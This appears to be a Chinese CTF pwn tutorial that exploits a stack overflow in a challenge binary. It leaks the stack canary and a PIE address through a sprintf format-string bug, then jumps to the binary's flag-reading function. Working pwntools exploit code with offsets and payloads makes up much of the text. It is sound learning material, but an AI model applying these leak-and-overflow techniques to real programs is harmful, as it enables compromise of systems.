在那个只有零和一的世界里,对零的向往,终究是一的执着。

正在下载:5__.zip pwn专题入门分享系列记录5

开启的保护机制

怎么办呢,先别急,去分析一下漏洞程序,其实漏洞很简单:

漏洞代码

赤裸裸的一个栈拷贝溢出漏洞,copy_x函数把用户输入最多0x80个字节拷贝到了栈缓冲区buf,但是buf离ebp只有0x40的距离,当用户输入大于0x40字节便会发生越界拷贝,有机会覆盖返回地址,劫持eip;然而由于canary(即栈cookie,专门用来检测栈缓冲区溢出)的存在我们无法直接覆盖返回地址就能劫持eip,因为上面的程序中函数一开始“v5 = *MK_FP(__FS__, 40LL);”,最后检查“v3 = *MK_FP(__FS__, 40LL) ^ v5;”,类似这样的代码都是由于开启了栈保护在检测cookie值,可以看一下汇编的实现,函数开头从fs:28h(64位保存在此)读取cookie值到栈上:

放置cookie

函数结尾异或一下进行校验,若栈上的cookie因为溢出拷贝被破坏则结果非0便无法正常返回:

检查cookie

这么明显的漏洞放弃了是不是有点可惜,只好先再找找其他漏洞了:

格式化字符串漏洞

呵呵,又是格式化字符串漏洞,这次用的是“sprintf”,并且buf也还是在栈上:

漏洞代码

那么,就利用这个来读取保存在栈上的cookie(canary)吧,还是用的“%x”来泄漏栈数据,cookie值保存在第40个偏移的位置上(调试一下就能知道,懒得直接计算了):


from pwn import *
import binascii
 
def leave_msg(format):
    target.sendline("3")
    target.recvuntil('msg:')
    target.sendline(format)
    return target.recvuntil('guest ')
 
#leak canary
s_canary = leave_msg("%40$lx")
s_canary = s_canary[s_canary.find('msg:') + 4:][0:16]
canary = int(binascii.hexlify(binascii.a2b_hex(s_canary)), 16)
print 'canary : %016x' % canary

先拿到cookie保存,因为cookie值是不变的,只要漏洞程序不重启就可以复用:

泄漏cookie值

现在,拿到了cookie值,只要覆盖返回地址的时候将该值放在原来的地址就可以绕过栈保护的检测了,剩下的就是劫持返回地址了,可是现在才想起来程序又开启了PIE,这就意味着程序的加载地址随机化了,无法预知可以跳转的合适地址(漏洞程序的映像地址范围),怎么办?再泄漏一下栈上残留的一些调用指针数据呗,调试后发现在偏移位置为52的地方可以泄漏一个程序地址:

泄漏程序地址

Ok,通过两次泄漏(因为程序限制只能调用依次sprintf,所以可以一次拼接两个“%x”,也可以事先调用“%x”泄漏cookie值写死,然后exp里只用一个“%x”泄漏程序地址即可),结合栈缓冲区溢出漏洞就可以劫持eip到程序范围内的地址去执行指令了,但是具体要劫持到哪里是可以选择的,可以构造rop gadgets拿shell(步骤参见之前分享),也可以直接跳转到程序为我们准备好的读取flag的代码地址:

flag读取函数

既然主办方这么爱惜我们的生命,那就到此为止直接跳到这个位置去执行flag读取代码吧:


canary = 0x73fdd88e51cfe100 #local
#canary = 0x73772d6c2dcda27c #remote
s_addr = leave_msg("%52$lx")
#print s_addr
s_addr = s_addr[s_addr.find('msg:') + 4:][0:12]
addr = int(binascii.hexlify(binascii.a2b_hex(s_addr)), 16)
print 'addr : %016x' % addr
pause()
ret = addr - 0x70C - 0x1177 + 0xf09
payload = 'a' * (0x40 - 0x18) + p64(canary) + 'b' * 0x18 + p64(ret)
login(payload)
 
target.interactive()  

直接输出flag完事:

拿flag

Ok,游戏结束!